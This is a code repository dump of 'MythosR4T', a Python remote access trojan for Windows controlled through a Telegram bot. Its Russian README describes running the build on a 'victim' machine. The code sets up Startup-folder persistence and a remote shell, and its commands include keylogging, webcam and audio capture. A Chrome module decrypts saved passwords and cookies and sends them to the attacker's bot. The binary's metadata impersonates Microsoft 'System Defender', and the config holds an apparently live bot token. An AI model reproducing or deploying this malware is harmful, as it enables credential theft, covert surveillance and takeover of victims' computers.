├── icon.ico ├── screenshot.png ├── compile.bat ├── libs ├── config.py ├── logo.py └── commands.py ├── requirements.txt ├── version.py ├── .gitignore ├── README.md ├── logs └── chrome.py └── MythosR4T.py /icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mython-dev/MythosR4T/HEAD/icon.ico -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mython-dev/MythosR4T/HEAD/screenshot.png -------------------------------------------------------------------------------- /compile.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | pip install -r requirements.txt 4 | 5 | pyinstaller --noconfirm --onefile --windowed --icon "icon.ico" --uac-admin --copy-metadata magic_filter --version-file "version.py" --add-data "libs;libs/" --add-data "logs;logs/" "MythosR4T.py" 6 | 7 | rmdir /s /q __pycache__ 8 | rmdir /s /q build 9 | 10 | :cmd 11 | pause null -------------------------------------------------------------------------------- /libs/config.py: -------------------------------------------------------------------------------- 1 | # Author : myth-dev 2 | # GitHub : https://github.com/mython-dev/ 3 | # Instagram : @thehackerworld_ && @ myth.dev_ 4 | # Telegram : @myth_dev 5 | # Date : 06.30.2023 6 | # Main Language : Python 7 | # Version RAT : MythosR4T 1.0 8 | 9 | TOKEN = "5594316492:AAFk8FnR5Ra1Y1f5JyBKy_D7fL3VEv-FM_k" # GET TOKEN --> tme.to/BotFather 10 | ID = "1543290559" # GET ID --> tme.to/my_id_bot -------------------------------------------------------------------------------- /libs/logo.py: -------------------------------------------------------------------------------- 1 | # Author : myth-dev 2 | # GitHub : https://github.com/mython-dev/ 3 | # Instagram : @thehackerworld_ && @ myth.dev_ 4 | # Telegram : @myth_dev 5 | # Date : 06.30.2023 6 | # Main Language : Python 7 | # Version RAT : MythosR4T 1.0 8 | 9 | LOGO = """ 10 | __ __ _ _ ____ _ _ _____ 11 | | \/ |_ _| |_| |__ ___ ___| _ \| || |_ _| 12 | | |\/| | | | | __| '_ \ / _ \/ __| |_) | || |_| | 13 | | | | | |_| | |_| | | | (_) \__ \ _ <|__ _| | 14 | |_| |_|\__, |\__|_| |_|\___/|___/_| \_\ |_| |_| 15 | |___/ 16 | 17 | * Version RAT: 1.0 18 | 19 | // Code by: myth-dev 20 | // Instagram: thehackerworld_ 21 | // Instagram: myth.dev_ 22 | // Telegram: myth_dev 23 | // Github: https://github.com/mython-dev\n\n 24 | """ -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiogram==2.25.1 2 | aiohttp==3.8.4 3 | aiosignal==1.3.1 4 | altgraph==0.17.3 5 | async-timeout==4.0.2 6 | attrs==22.2.0 7 | Babel==2.9.1 8 | certifi==2022.12.7 9 | cffi==1.15.1 10 | charset-normalizer==3.1.0 11 | comtypes==1.1.14 12 | cryptography==40.0.1 13 | frozenlist==1.3.3 14 | GPUtil==1.4.0 15 | idna==3.4 16 | keyboard==0.13.5 17 | magic-filter==1.0.9 18 | MouseInfo==0.1.3 19 | multidict==6.0.4 20 | numpy==1.24.2 21 | opencv-python==4.7.0.72 22 | pefile==2023.2.7 23 | Pillow==9.5.0 24 | psutil==5.9.4 25 | PyAudio==0.2.13 26 | PyAutoGUI==0.9.53 27 | pycaw==20230407 28 | pycparser==2.21 29 | pycryptodome==3.17 30 | PyGetWindow==0.0.9 31 | pyinstaller==5.9.0 32 | pyinstaller-hooks-contrib==2023.2 33 | PyMsgBox==1.0.9 34 | pynput==1.7.6 35 | pyperclip==1.8.2 36 | pypiwin32==223 37 | PyRect==0.2.0 38 | PyScreeze==0.1.28 39 | pyttsx3==2.90 40 | pytweening==1.0.4 41 | pytz==2023.3 42 | pywin32==306 43 | pywin32-ctypes==0.2.0 44 | requests==2.28.2 45 | six==1.16.0 46 | tabulate==0.9.0 47 | urllib3==1.26.15 48 | Wave==0.0.2 49 | yarl==1.8.2 -------------------------------------------------------------------------------- /version.py: -------------------------------------------------------------------------------- 1 | # UTF-8 2 | # 3 | # For more details about fixed file info 'ffi' see: 4 | # http://msdn.microsoft.com/en-us/library/ms646997.aspx 5 | VSVersionInfo( 6 | ffi=FixedFileInfo( 7 | # filevers and prodvers should be always a tuple with four items: (1, 2, 3, 4) 8 | # Set not needed items to zero 0. 9 | filevers=(91, 4, 0, 7823), 10 | prodvers=(91, 4, 0, 0), 11 | # Contains a bitmask that specifies the valid bits 'flags'r 12 | mask=0x3f, 13 | # Contains a bitmask that specifies the Boolean attributes of the file. 14 | flags=0x0, 15 | # The operating system for which this file was designed. 16 | # 0x4 - NT and there is no need to change it. 17 | OS=0x4, 18 | # The general type of file. 19 | # 0x1 - the file is an application. 20 | fileType=0x2, 21 | # The function of the file. 22 | # 0x0 - the function is not defined for this fileType 23 | subtype=0x0, 24 | # Creation date and time stamp. 25 | date=(0, 0) 26 | ), 27 | kids=[ 28 | StringFileInfo( 29 | [ 30 | StringTable( 31 | '000004b0', 32 | [StringStruct('Comments', ''), 33 | StringStruct('LegalCopyright', '©Windows Microsoft Corporation; available under the MPL 2 license.'), 34 | StringStruct('CompanyName', 'Microsoft Corporation'), 35 | StringStruct('FileDescription', 'System Defender'), 36 | StringStruct('FileVersion', '91.4.0'), 37 | StringStruct('ProductVersion', '91.4.0'), 38 | StringStruct('InternalName', 'System Defender'), 39 | StringStruct('LegalTrademarks', 'System Defender is a Trademark of The Microsoft Foundation.'), 40 | StringStruct('OriginalFilename', 'WindowsSystemDefender.exe'), 41 | StringStruct('ProductName', 'System Defender'), 42 | StringStruct('BuildID', '20210602030101')]) 43 | ]), 44 | VarFileInfo([VarStruct('Translation', [0, 1200])]) 45 | ] 46 | ) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | ![Banner](https://github.com/mython-dev/MythosR4T/blob/main/screenshot.png) 3 | 4 | 5 | # MythosR4T. 6 | 7 | MythosR4T - это Remote Administration Tool (RAT) для операционных систем Windows, MythosR4T был написан на чистом Python и предназначен для удаленного управления компьютером. 8 | 9 | ## Дисклеймер. 10 | 11 | Внимание! Автор данного кода @myth-dev не несет ответстветнности за любые последствия от ее прочтения. Все материалы 12 | предоставлены в исключительно образовательных целях! 13 | 14 | ## Установка. 15 | 16 | 1. Клонируйте репозиторию: 17 | 18 | ```bash 19 | git clone https://github.com/mython-dev/MythosR4T.git 20 | ``` 21 | 22 | 2. Перейдите в директорию проекта: 23 | 24 | ```bash 25 | cd MythosR4T 26 | ``` 27 | 28 | 3. Перейдите в директорию libs: 29 | 30 | Для начала работы с ратником откройте файл `config.py` и вставьте свой TOKEN и ID. 31 | 32 | ```python 33 | TOKEN = "" # GET TOKEN --> tme.to/BotFather 34 | ID = "" # GET ID --> tme.to/my_id_bot 35 | ``` 36 | 37 | 4. Перейдите в директорию проекта и запустите `compile.bat`. 38 | 39 | 5. Когда вы увидите в консоли сообщение, 40 | ```bash 41 | INFO: Building EXE from EXE-00.toc completed successfully. 42 | Для продолжения нажмите любую клавишу . . . 43 | ``` 44 | закройте консоль, нажав на любую клавишу. 45 | 46 | 5. Перейдите в папку `dist/` и запустите файл `MythosR4T.exe` на целевом устройстве (Жертва). 47 | 48 | 6. Когда жертва откроет ратника, вы получите уведомление от вашего бота "Жертва подключилась". 49 | 50 | Внимание!!! Если у вас возникли проблемы с компиляцией, свяжитесь со мной в Telegram по адресу `@myth_dev`. 51 | 52 | ## Функции. 53 | 54 |
 55 | Commands:
 56 | 
 57 | /help - Отправка всех доступных комманд.
 58 | /reboot - Перезагрузить клиентский ПК.
 59 | /shutdown - Выключить клиентский ПК.
 60 | /drivers - Все драйвера ПК.
 61 | /kill - Убить системную задачу.
 62 | /sysinfo - Основная информация о системе.
 63 | /tasklist - Все системные задачи.
 64 | /monitors - Получить список мониторов.
 65 | /turnoff_mon - Выключить монитор.
 66 | /turnon_mon - Включить монитор.
 67 | /volumeup - Увеличить громкость до 100%.
 68 | /volumedown - Уменьшить громкость до 0%.
 69 | /sendmessage - Отправить сообщение с текстом.
 70 | /setwallpaper - Изменить обой.
 71 | /open_link - Открыть ссылку в браузере.
 72 | /pwd - Получить текущий рабочий каталог.
 73 | /cd - Изменить каталог.
 74 | /dir - Получить все файлы текущего каталога.
 75 | /makedir - Создать директорию.
 76 | /rmdir - Удалить директорию.
 77 | /rmfile - Удалить файл.
 78 | /searchfile - Искать файл в системе.
 79 | /screenshot- Скриншот.
 80 | /chrome - Все данные Хрома.
 81 | /webcam_snap - Сделать фото с веб-камеры.
 82 | /shell - Cmd.exe
 83 | /download - Cкачать файл.
 84 | /geolocate - Получить примерное местонахождение жертвы.
 85 | /keylogger_start - Запустить Keylogger.
 86 | /send_logs_keylogger - Отправить логи кейлоггера.
 87 | /keylogger_stop - Остановить Keylogger.
 88 | /audio - Запись аудио с пк жертвы.
 89 | /disablekeyboard - Отключить клавиатуру.
 90 | /enablekeyboard - Включить клавиатуру, Работает багом иногда не включает клавитуру...
 91 | /disablemouse - Отключить мышку.
 92 | /enablemouse - Включить мышку.
 93 | /clipboard - Посмотреть буфер обмена.
 94 | /alt_f4 - Закрыть окно.
 95 | /runprogramm - Запустить программу.
 96 | /voice - Если ты скинешь мне голосовое сообщение я открою его у жертвы
 97 | 
98 | 99 | 100 | ## Мы используем следующие библиотеки в MythosR4T 101 | 102 | - **psutil** - Psutil - это библиотека для языка программирования Python, которая позволяет получать информацию о системе и процессах, работающих на ней. 103 | - **ctypes** - Ctypes - это библиотека для языка программирования Python, которая позволяет вызывать функции и использовать переменные, определенные в библиотеках на языке C. 104 | - **pyaudio** - Pyaudio - это библиотека для языка программирования Python, которая позволяет записывать и воспроизводить звуковые файлы. 105 | - **keyboard** - Keyboard - это библиотека для языка программирования Python, которая позволяет перехватывать и обрабатывать нажатия клавиш на клавиатуре. 106 | - **pyperclip** - Pyperclip - это библиотека для языка программирования Python, которая позволяет копировать и вставлять текст в буфер обмена операционной системы. 107 | - **pyautogui** - Pyautogui - это библиотека для языка программирования Python, которая позволяет автоматизировать действия на компьютере, такие как нажатия клавиш, перемещение мыши, скроллинг и другие действия. 108 | - **pynput** - Pynput - это библиотека для языка программирования Python, которая позволяет перехватывать и обрабатывать действия пользователя на компьютере, такие как нажатия клавиш, перемещение мыши и другие действия. 109 | 110 | - **PIL.ImageGrab** - ImageGrab - это модуль для языка программирования Python, который позволяет получать изображения с экрана компьютера. 111 | 112 | - **win32com** - Win32com - это модуль для языка программирования Python, который позволяет взаимодействовать с приложениями Windows, используя COM-интерфейсы. 113 | 114 | - **pycaw** - Pycaw - это модуль для языка программирования Python, который позволяет управлять звуком на компьютере. 115 | 116 | - **aiogram** - Aiogram - это библиотека для языка программирования Python, которая позволяет создавать ботов для мессенджера Telegram. 117 | 118 | ## Лицензия. 119 | 120 |
121 | MIT License
122 | 
123 | Copyright (c) 2023 mython-dev
124 | 
125 | Permission is hereby granted, free of charge, to any person obtaining a copy
126 | of this software and associated documentation files (the "Software"), to deal
127 | in the Software without restriction, including without limitation the rights
128 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
129 | copies of the Software, and to permit persons to whom the Software is
130 | furnished to do so, subject to the following conditions:
131 | 
132 | The above copyright notice and this permission notice shall be included in all
133 | copies or substantial portions of the Software.
134 | 
135 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
136 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
137 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
138 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
139 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
140 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
141 | SOFTWARE.
142 | 
143 | 144 | ## Контакты. 145 | 146 | - [![Github](https://img.shields.io/badge/Github-mython_dev-green?style=for-the-badge&logo=github)](https://github.com/mython-dev) 147 | 148 | - [![Gmail](https://img.shields.io/badge/Gmail-miton0030-green?style=for-the-badge&logo=gmail)](mailto:miton0030@gmail.com) 149 | 150 | - [![Instagram](https://img.shields.io/badge/mython_dev--green?style=for-the-badge&logo=instagram)](https://instagram.com/mython_dev) 151 | - [![Instagram](https://img.shields.io/badge/thehackerworld_--green?style=for-the-badge&logo=instagram)](https://instagram.com/thehackerworld_) 152 | -------------------------------------------------------------------------------- /logs/chrome.py: -------------------------------------------------------------------------------- 1 | import os 2 | import win32crypt 3 | import json,base64 4 | from os.path import basename 5 | from datetime import datetime, timedelta 6 | from Crypto.Cipher import AES 7 | import shutil 8 | import sqlite3 9 | from aiogram import types, Dispatcher, Bot 10 | 11 | from libs.config import TOKEN, ID 12 | 13 | bot = Bot(token=TOKEN) 14 | dp = Dispatcher(bot) 15 | 16 | # Это не мой код!!! 17 | 18 | async def chrome_commmand(message: types.Message): 19 | await bot.send_message(ID, 'Тебя, понял. Занят этим..') 20 | try: 21 | def time(date): 22 | try: 23 | return str(datetime(1601, 1, 1) + timedelta(microseconds=date)) 24 | except: 25 | return "Can't decode" 26 | 27 | async def get_master_key_chrome(): 28 | try: 29 | with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f: 30 | local_state = f.read() 31 | local_state = json.loads(local_state) 32 | master_key_chrome = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 33 | master_key_chrome = master_key_chrome[5:] 34 | master_key_chrome = win32crypt.CryptUnprotectData(master_key_chrome, None, None, None, 0)[1] 35 | return master_key_chrome 36 | except: 37 | await bot.send_message(ID, 'Жертва не имеет Chrome Браузер') 38 | def decrypt(buff, master_key): 39 | try: 40 | return AES.new(master_key, AES.MODE_GCM, buff[3:15]).decrypt(buff[15:])[:-16].decode() 41 | except: 42 | return "Can't decode" 43 | 44 | 45 | 46 | try: 47 | os.makedirs(r'C:\hesoyam8927163\Chrome') 48 | HistorySQL = "SELECT url FROM visits" 49 | HistoryLinksSQL = "SELECT url, title, last_visit_time FROM urls WHERE id=%d" 50 | 51 | data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default" 52 | files = os.listdir(data_path) 53 | history_db = os.path.join(data_path, 'history') 54 | shutil.copy2(history_db, os.environ['USERPROFILE'] + '\\AppData\\Roaming\\history.db') 55 | c = sqlite3.connect(os.environ['USERPROFILE']+ '\\AppData\\Roaming\\history.db') 56 | cursor = c.cursor() 57 | temp = [] 58 | with open(rf"C:\hesoyam8927163\Chrome\history-chrome.txt", "a", encoding="utf-8") as history: 59 | for result in cursor.execute(HistorySQL).fetchall(): 60 | data = cursor.execute(HistoryLinksSQL % result[0]).fetchone() 61 | result = f"URL: {data[0]}\nTitle: {data[1]}\nLast Visit: {time(data[2])}\n\n" 62 | if result in temp: 63 | continue 64 | temp.append(result) 65 | history.write(result) 66 | history.close() 67 | try: 68 | os.remove(os.environ['USERPROFILE'] + '\\AppData\\Roaming\\history.db') 69 | except: 70 | pass 71 | 72 | 73 | CookiesSQL = "SELECT * FROM cookies" 74 | data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Network" 75 | files = os.listdir(data_path) 76 | history_db = os.path.join(data_path, 'Cookies') 77 | shutil.copy2(history_db, os.environ['USERPROFILE'] + '\\AppData\\Roaming\\cookies.db') 78 | c = sqlite3.connect(os.environ['USERPROFILE'] + '\\AppData\\Roaming\\cookies.db') 79 | cursor = c.cursor() 80 | 81 | 82 | results = '[\n' 83 | 84 | result = cursor.execute(CookiesSQL).fetchall() 85 | 86 | for result in cursor.execute(CookiesSQL).fetchall(): 87 | if result[8] == 0: 88 | secure = False 89 | else: 90 | secure = True 91 | 92 | if result[9] == 0: 93 | http = False 94 | else: 95 | http = True 96 | results += ''' 97 | { 98 | "domain": "%s", 99 | "expirationDate": %s, 100 | "name": "%s", 101 | "httpOnly": %s, 102 | "path": "%s", 103 | "secure": %s, 104 | "value": "%s" 105 | }, 106 | '''% (result[1], result[7], result[2], http, result[6], secure, decrypt(result[5], get_master_key_chrome())) 107 | 108 | with open(rf"C:\hesoyam8927163\Chrome\Cookies-Chrome.json", "a", encoding="utf-8") as cookies: 109 | results = results.replace('True', 'true') 110 | results = results.replace('False', 'false') 111 | results += '\n]' 112 | cookies.write(results) 113 | 114 | cookies.close() 115 | try: 116 | os.remove(os.environ['USERPROFILE'] + '\\AppData\\Roaming\\cookies.db') 117 | except: 118 | pass 119 | except: 120 | pass 121 | 122 | try: 123 | def get_master_key(): 124 | with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f: 125 | local_state = f.read() 126 | local_state = json.loads(local_state) 127 | master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 128 | master_key = master_key[5:] 129 | master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] 130 | return master_key 131 | 132 | 133 | def decrypt_payload(cipher, payload): 134 | return cipher.decrypt(payload) 135 | 136 | 137 | def generate_cipher(aes_key, iv): 138 | return AES.new(aes_key, AES.MODE_GCM, iv) 139 | 140 | 141 | def decrypt_password(buff, master_key): 142 | try: 143 | iv = buff[3:15] 144 | payload = buff[15:] 145 | cipher = generate_cipher(master_key, iv) 146 | decrypted_pass = decrypt_payload(cipher, payload) 147 | decrypted_pass = decrypted_pass[:-16].decode() 148 | return decrypted_pass 149 | except: 150 | 151 | return "Chrome < 80" 152 | except: 153 | await bot.send_message(ID, 'Жертва не имеет Chrome Браузер') 154 | 155 | try: 156 | master_key = get_master_key() 157 | login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data' 158 | shutil.copy2(login_db, os.environ['USERPROFILE'] + '\\AppData\\Roaming\\Loginvault.db') 159 | conn = sqlite3.connect(os.environ['USERPROFILE'] + '\\AppData\\Roaming\\Loginvault.db') 160 | cursor = conn.cursor() 161 | 162 | cursor.execute("SELECT action_url, username_value, password_value FROM logins") 163 | for r in cursor.fetchall(): 164 | url = r[0] 165 | username = r[1] 166 | encrypted_password = r[2] 167 | decrypted_password = decrypt_password(encrypted_password, master_key) 168 | 169 | alldatapass = "URL: " + url + " UserName: " + username + " Password: " + decrypted_password + "\n" 170 | 171 | with open(r'C:\hesoyam8927163\Chrome\chrome-passwords.txt', "a") as o: 172 | o.write(alldatapass) 173 | 174 | shutil.make_archive('chrome', 'zip', 'C:\\hesoyam8927163\\Chrome') 175 | 176 | await bot.send_document(ID, open('chrome.zip', 'rb')) 177 | try: 178 | os.remove('chrome.zip') 179 | shutil.rmtree('C:\\hesoyam8927163') 180 | os.remove(os.environ['USERPROFILE'] + '\\AppData\\Roaming\\Loginvault.db') 181 | except Exception as e: 182 | print(e) 183 | except Exception as e: 184 | print(e) 185 | except: 186 | await bot.send_message(ID, 'Что-то пошло не так, скорее всего у жертвы нету Chrome :(') -------------------------------------------------------------------------------- /MythosR4T.py: -------------------------------------------------------------------------------- 1 | # Author : myth-dev 2 | # GitHub : https://github.com/mython-dev/ 3 | # Instagram : @thehackerworld_ && @ myth.dev_ 4 | # Telegram : @myth_dev 5 | # Date : 06.30.2023 6 | # Main Language : Python 7 | # Version Rat : MythosR4T 1.0 8 | 9 | from aiogram import Bot, Dispatcher, types, executor 10 | from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton 11 | from libs.config import TOKEN, ID 12 | import sys 13 | import os 14 | 15 | from libs.commands import * 16 | 17 | from logs.chrome import chrome_commmand 18 | 19 | Thisfile = sys.argv[0] # Полный путь к файлу, включая название и расширение 20 | Thisfile_name = os.path.basename(Thisfile) # Название файла без пути 21 | user_path = os.path.expanduser('~') # Путь к папке пользователя 22 | 23 | 24 | if not os.path.exists(f"{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{Thisfile_name}"): 25 | os.system(f'copy "{Thisfile}" "{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"') 26 | 27 | bot = Bot(token=TOKEN) 28 | dp = Dispatcher(bot) 29 | 30 | help_text = """Что можете выполнить в жертве ПК:\n 31 | /help - Отправка всех доступных комманд. 32 | /reboot - Перезагрузить клиентский ПК. 33 | /shutdown - Выключить клиентский ПК. 34 | /drivers - Все драйвера ПК. 35 | /kill - Убить системную задачу. 36 | /sysinfo - Основная информация о системе. 37 | /tasklist - Все системные задачи. 38 | /monitors - Получить список мониторов. 39 | /turnoff_mon - Выключить монитор. 40 | /turnon_mon - Включить монитор. 41 | /volumeup - Увеличить громкость до 100%. 42 | /volumedown - Уменьшить громкость до 0%. 43 | /sendmessage - Отправить сообщение с текстом. 44 | /setwallpaper - Изменить обой. 45 | /open_link - Открыть ссылку в браузере. 46 | /pwd - Получить текущий рабочий каталог. 47 | /cd - Изменить каталог. 48 | /dir - Получить все файлы текущего каталога. 49 | /makedir - Создать директорию. 50 | /rmdir - Удалить директорию. 51 | /rmfile - Удалить файл. 52 | /searchfile - Искать файл в системе. 53 | /screenshot- Скриншот. 54 | /chrome - Все данные Хрома. 55 | /webcam_snap - Сделать фото с веб-камеры. 56 | /shell - Cmd.exe 57 | /download - Cкачать файл. 58 | /geolocate - Получить примерное местонахождение жертвы. 59 | /keylogger_start - Запустить Keylogger. 60 | /send_logs_keylogger - Отправить логи кейлоггера. 61 | /keylogger_stop - Остановить Keylogger. 62 | /audio - Запись аудио с пк жертвы. 63 | /disablekeyboard - Отключить клавиатуру. 64 | /enablekeyboard - Включить клавиатуру, Работает багом иногда не включает клавитуру... 65 | /disablemouse - Отключить мышку. 66 | /enablemouse - Включить мышку. 67 | /clipboard - Посмотреть буфер обмена. 68 | /alt_f4 - Закрыть окно. 69 | /runprogramm - Запустить программу. 70 | /voice - Если ты скинешь мне голосовое сообщение я открою его у жертвы 71 | """ 72 | 73 | async def on_startup(_): 74 | keyboard = InlineKeyboardMarkup() 75 | next_ = InlineKeyboardButton(text='Продолжить.', callback_data='next') 76 | keyboard.add(next_) 77 | await bot.send_message(chat_id=ID, text='Жертва подключилась...', reply_markup=keyboard) 78 | 79 | @dp.message_handler(commands=['start']) 80 | async def start_commands(message: types.Message): 81 | if message.from_user.id == int(ID): 82 | await bot.send_message(chat_id=ID, text='Нажми на /help') 83 | else: 84 | await bot.send_message(message.chat.id, 'Вы не явлейтесь админом!!!') 85 | 86 | 87 | @dp.message_handler(commands=['help']) 88 | async def command_help(message: types.Message): 89 | if message.from_user.id == int(ID): 90 | await bot.send_message(chat_id=ID, text=help_text) 91 | else: 92 | await bot.send_message(message.chat.id, 'Вы не явлейтесь админом!!!') 93 | 94 | @dp.callback_query_handler(lambda c: c.data == 'next') 95 | async def all_commands(message: types.Message): 96 | await bot.send_message(chat_id=ID, text=help_text) 97 | 98 | @dp.message_handler(commands=['reboot']) 99 | async def reboot_handler(message: types.Message): 100 | await reboot_command(message) 101 | 102 | @dp.message_handler(commands=['shutdown']) 103 | async def shutdown_handler(message: types.Message): 104 | await shutdown_command(message) 105 | 106 | @dp.message_handler(commands=['drivers']) 107 | async def drivers_handler(message: types.Message): 108 | await driver_command(message) 109 | 110 | @dp.message_handler(commands=['kill']) 111 | async def kill_handler(message: types.Message): 112 | await kill_command(message) 113 | 114 | @dp.message_handler(commands=['sysinfo']) 115 | async def sysinfo_handler(message: types.Message): 116 | await sysinfo_command(message) 117 | 118 | @dp.message_handler(commands=['tasklist']) 119 | async def tasklist_handler(message: types.Message): 120 | await tasklist_command(message) 121 | 122 | @dp.message_handler(commands=['monitors']) 123 | async def monitors_handler(message: types.Message): 124 | await send_list_monitor(message) 125 | 126 | @dp.message_handler(commands=['turnoff_mon']) 127 | async def turnoff_mon_handler(message: types.Message): 128 | await turnoffmon_command(message) 129 | 130 | @dp.message_handler(commands=['turnon_mon']) 131 | async def turnon_mon_handler(message: types.Message): 132 | await turnonmon_command(message) 133 | 134 | @dp.message_handler(commands=['volumeup']) 135 | async def volumeup_handler(message: types.Message): 136 | await volumeup_command(message) 137 | 138 | @dp.message_handler(commands=['volumedown']) 139 | async def volumedown_handler(message: types.Message): 140 | await volumedown_command(message) 141 | 142 | @dp.message_handler(commands=['sendmessage']) 143 | async def sendmessage_handler(message: types.Message): 144 | await sendmessage_command(message) 145 | 146 | @dp.message_handler(commands=['setwallpaper']) 147 | async def setwallpaper_handler(message: types.Message): 148 | await setwallpaper_command(message) 149 | 150 | @dp.message_handler(commands=['open_link']) 151 | async def open_link_handler(message: types.Message): 152 | await open_link_command(message) 153 | 154 | @dp.message_handler(commands=['pwd']) 155 | async def pwd_handler(message: types.Message): 156 | await pwd_command(message) 157 | 158 | @dp.message_handler(commands=['cd']) 159 | async def cd_handler(message: types.Message): 160 | await cd_command(message) 161 | 162 | @dp.message_handler(commands=['dir']) 163 | async def dir_handler(message: types.Message): 164 | await dir_command(message) 165 | 166 | @dp.message_handler(commands=['makedir']) 167 | async def makedir(message: types.Message): 168 | await makedir_command(message) 169 | 170 | @dp.message_handler(commands=['rmdir']) 171 | async def rmdir(message: types.Message): 172 | await rmdir_command(message) 173 | 174 | @dp.message_handler(commands=['rmfile']) 175 | async def rmfile(message: types.Message): 176 | await rmfile_command(message) 177 | 178 | @dp.message_handler(commands=['searchfile']) 179 | async def searchfile(message: types.Message): 180 | await searchfile_command(message) 181 | 182 | @dp.message_handler(commands=['screenshot']) 183 | async def screenshot(message: types.Message): 184 | await screenshot_command(message) 185 | 186 | @dp.message_handler(commands=['webcam_snap']) 187 | async def webcam_snap_handler(message: types.Message): 188 | await webcam_snap_command(message) 189 | 190 | @dp.message_handler(commands=['shell']) 191 | async def shell_handler(message: types.Message): 192 | await shell(message) 193 | 194 | @dp.message_handler(commands=['download']) 195 | async def download(message: types.Message): 196 | await download_file(message) 197 | 198 | @dp.message_handler(commands=['geolocate']) 199 | async def geolocate(message: types.Message): 200 | await 